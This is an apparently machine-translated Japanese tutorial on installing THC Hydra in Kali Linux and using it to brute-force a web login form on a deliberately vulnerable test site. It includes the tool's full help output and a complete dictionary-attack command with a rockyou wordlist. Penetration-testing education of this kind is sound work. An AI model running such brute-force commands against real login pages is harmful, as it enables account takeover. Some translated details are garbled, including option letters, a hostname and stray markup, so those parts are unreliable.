KaliLinuxでHydraを使用してWebベースのログインページをクラックする

パスワードは、技術的には、リソースへの認証またはアクセスを取得するために使用される文字の秘密の文字列として定義されます。それは秘密にされ、それらのリソースへのアクセスを許可されていない他の人から隠されなければなりません。パスワードは、コンピューティングの初期の頃からコンピューターで使用されてきました。初めての共有システムの1つは、1961年に導入されました。ユーザーパスワードを要求するログインコマンドがありました。 PASSWORDを入力した後、システムは可能であれば印刷メカニズムをオフにして、ユーザーがプライバシーを守ってパスワードを入力できるようにします。

パスワードの強度は、長さ、複雑さ、および予測不可能性の関数です。それはそれを推測したり壊したりすることに抵抗する効果を測定します。一方、弱いパスワードは、個人/企業の電子メール、財務情報、ビジネス情報、クレジットカードなどの機密データを推測してアクセスするために必要な時間を短縮します。

さまざまな攻撃スキームの強みに対応して、パスワードを弱くする方法はたくさんあります。この種のクレデンシャル攻撃で最も人気のあるのは、ブルートフォースです。これは、推測のような試行錯誤の方法であり、アプリケーションプログラムやハッキングツールで使用されるパスワードやデータ暗号化などの暗号化されたデータのデコードを試みます。

Hydraは、多数の攻撃プロトコルをサポートする最速のネットワークログオンクラッカーです。非常に高速で柔軟性があり、新しいモジュールを簡単に追加できます。このツールを使用すると、研究者やセキュリティコンサルタントは、システムへの不正アクセスをリモートで簡単に取得できることを示すことができます。 HydraはvanHauserによって書かれ、DavidMaciejakによってさらにサポートされました。最新のアップデートでは、hydra開発はhttps://github.com/vanhauser-thc/thc-hydraのパブリックgithubリポジトリに移動されています。

Hydraは、Linux、Windows / Cygwin、Solaris 11、FreeBSD 8.1、OpenBSD、OSX、QNX / Blackberryでのコンパイルがテストされており、特別なOpenSSLライセンス拡張を備えたGPLv3で利用可能になっています。

THC Hydraは、次のプロトコルをサポートしています：Cisco AAA、Cisco auth、Cisco enable、CVS、FTP、HTTP（S）-FORM-GET、HTTP（S）-FORM-POST、HTTP（S）-GET、HTTP（S）-HEAD 、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、MySQL、NNTP、Oracle Listener、Oracle SID、PC-Anywhere、PC-NFS、POP3、PostgreSQL、RDP、Rexec、Rlogin、Rsh、SIP、SMB （NT）、SMTP、SMTP Enum、SNMP v1 + v2 + v3、SOCKS5、SSH（v1およびv2）、SSHKEY、Subversion、Teamspeak（TS2）、Telnet、VMware-Auth、VNC、およびXMPP。

HYDRAを他のクラッキングツールと比較する

hydraのほかにも多くのログインクラッカーツールがありますが、hydraのようにプロトコルの膨大なリストと並列化されたログインクラッカーのサポートをサポートするものはありません。以下の表は、medusaおよびncrackに対する機能、サービス、および速度の比較の結果を示しています。

特徴

サービス

Webベースのログインページをクラックする

速度比較

それはハイドラの簡単な紹介でした。それでは、インストールに移りましょう。

HYDRAのインストール

Hydraはkalilinuxにプリインストールされていますが、別のオペレーティングシステムを使用している場合は、コンパイルしてシステムにインストールできます。現在、さまざまなプラットフォームでのhydraのサポート：

• すべてのUNIXプラットフォーム（Linux、* bsd、Solarisなど）
• MacOS（基本的にはBSDクローン）
• Cygwinを搭載したWindows（IPv4とIPv6の両方）
• Linux、MacOS、またはQNXに基づくモバイルシステム（Android、iPhone、Blackberry 10、Zaurus、iPaqなど）

hydraをダウンロード、構成、コンパイル、およびインストールするには、ターミナルに入力するだけです。

git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install 

Ubuntu / Debianを使用している場合は、いくつかの依存関係ライブラリが必要になります。

apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev 

リポジトリでこれらのライブラリが見つからない場合は、手動でダウンロードしてインストールする必要があります。

HYDRAの使い方

おめでとうございます。これで、システムにhydraをインストールすることに成功しました。実際、HydraにはGUI-gtkと私のお気に入りのCLIバージョンの2つのフレーバーが付属しています。さらに、hydraにはCLIガイドバージョンもあります。これはhydra-wizardと呼ばれます。すべてのコマンドまたは引数を端末に手動で入力する代わりに、ステップバイステップでガイドされます。ヒドラを実行するには、ターミナルタイプから：

CLIの場合：

hydra

CLIウィザードの場合：

hydra-wizard

GUIの場合：

xhydra

「hydra」と入力すると、次のようなヘルプコマンドが表示されます。

 [email protected] :~# hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type '-x -h' to get help -e nsr try 'n' null password, 's' login as pass and/or 'r' reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated 'login:pass' format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-head http[s]-post-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-crammd5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh

hydraを使用したブルートフォースWebベースのログイン

Hydraは、前述のようにブルートフォーシングサービスをサポートしています。そのうちの1つは、ソーシャルメディアログインフォーム、ユーザーバンキングログインフォーム、ルーターWebベースログインなどのWebベースのログインをブルートフォースするために使用されます。そのhttp [s] -get-formこのリクエストを処理します。このチュートリアルでは、脆弱なWebログインをブルートフォースする方法を紹介します。 hydraを起動する前に、以下のようないくつかの必要な引数を知っておく必要があります。

• 目標 ：http：//testasp.vulnweb.com/Login.asp？RetURL =％2FDefault％2Easp％3F
• ログインユーザー名 ：管理者 （わからない場合は、これを総当たり攻撃してください）
• パスワードリスト ： 可能なパスワードを含む辞書ファイルリストの場所。
• フォームパラメータ ： 一般に、改ざんデータまたはプロキシを使用して、リクエストパラメータの形式を取得します。しかし、ここでは、iceweasel、Firefoxベースのネットワーク開発者ツールバーを使用しています。
• サービスモジュール ：http-post-form

Help for module http-post-form: ============================================================================ Module http-post-form requires the page and the parameters for the web form. By default this module is configured to follow a maximum of 5 redirections in a row. It always gathers a new cookie from the same URL without variables The parameters take three ':' separated values, plus optional values. (Note: if you need a colon in the option string as value, escape it with ':', but do not escape a '' with '\'.) Syntax: [url]:[form parameters]:[condition string][:(optional)[:(optional)] First is the page on the server to GET or POST to (URL). Second is the POST/GET variables (taken from either the browser, proxy, etc. with usernames and passwords being replaced in the '^USER^' and '^PASS^' placeholders (FORM PARAMETERS) Third is the string that it checks for an *invalid* login (by default) Invalid condition login check can be preceded by 'F=', successful condition login check must be preceded by 'S='. This is where most people get it wrong. You have to check the webapp what a failed string looks like and put it in this parameter! The following parameters are optional: C=/page/uri to define a different page to gather initial cookies from (h|H)=My-Hdr: foo to send a user defined HTTP header with each request ^USER^ and ^PASS^ can also be put into these headers! Note: 'h' will add the user-defined header at the end regardless it's already being sent by Hydra or not. 'H' will replace the value of that header if it exists, by the one supplied by the user, or add the header at the end Note that if you are going to put colons (:) in your headers you should escape them with a backslash (). All colons that are not option separators should be escaped (see the examples above and below). You can specify a header without escaping the colons, but that way you will not be able to put colons in the header value itself, as they will be interpreted by hydra as option separators.

ブラウザ、iceweasel / firefoxを使用して投稿パラメータを取得する

Firefoxブラウザでキー ‘を押します CTRL + SHIFT + Q ‘。次に、Webログインページを開きますhttp://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F、ネットワーク開発者タブにテキストが表示されます。どのファイルが私たちに転送されるかを教えてくれます。まだデータをPOSTしていないため、メソッドがすべてGETであることを確認してください。

フォーム後のパラメータを取得するには、ユーザー名またはパスワードのフォームに何でも入力します。ネットワーク開発者タブに新しいPOSTメソッドが表示されます。その行をダブルクリックし、[ヘッダー]タブで、右側の[編集して再送信]ボタンをクリックします。リクエスト本文で、次のような最後の行をコピーします tfUName=asu&tfUPass=raimu 。 NS tfUName と tfUPass 必要なパラメータです。以下に見られるように：

Kali linuxにはたくさんのワードリストがあります。適切なワードリストを選択するか、rockyou.txtを使用してください。 / usr / share / wordlists / 以下に見られるように：

さて、これで必要なすべての議論ができ、ハイドラを起動する準備が整いました。コマンドパターンは次のとおりです。

hydra -l -P [/code] Finally, based on information we have gathered, our commands ahould look something like this: hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form '/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout' -vV -f

コマンドを分解してみましょう。

• NS ：はユーザー名アカウントを含む単語です。ファイル内の可能なユーザー名のリストを参照するには、-Lを使用します。
• NS ：は可能なパスワードのファイルリストです。推測する代わりに、-pを使用して文字通り1語のパスワードを使用します。
• testapp.vunlwebapp.com ：はホスト名またはターゲットです
• http-post-form ：私たちが使用するサービスモジュールです
• /Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout =必要な3つのパラメーター、構文は次のとおりです。
  {ページのURL}：{Post本文のフォームパラメータをリクエストする}：S = {ログインに成功した後、ページ内のすべてのものを検索する}
• v =詳細モード
• V =各試行に対してlogin：passを表示します
• NS =ペアlogin：passwordが見つかった場合、プログラムを終了します

さて、hydraにパスワードを破らせてみましょう。辞書攻撃なので、時間がかかります。 login：password hydraのペアの検索に成功すると、ジョブはすぐに終了し、有効な資格情報が表示されます。

このチュートリアルでは、hydraを使用してWebベースのログオンをブルートフォースする方法を学習したばかりなので、hydraでできることはたくさんあります。学習するのは、http-post-formプロトコルという1つのプロトコルだけです。 ssh、ftp、telnet、VNC、プロキシなどの別のプロトコルに対してhydraを使用することもできます。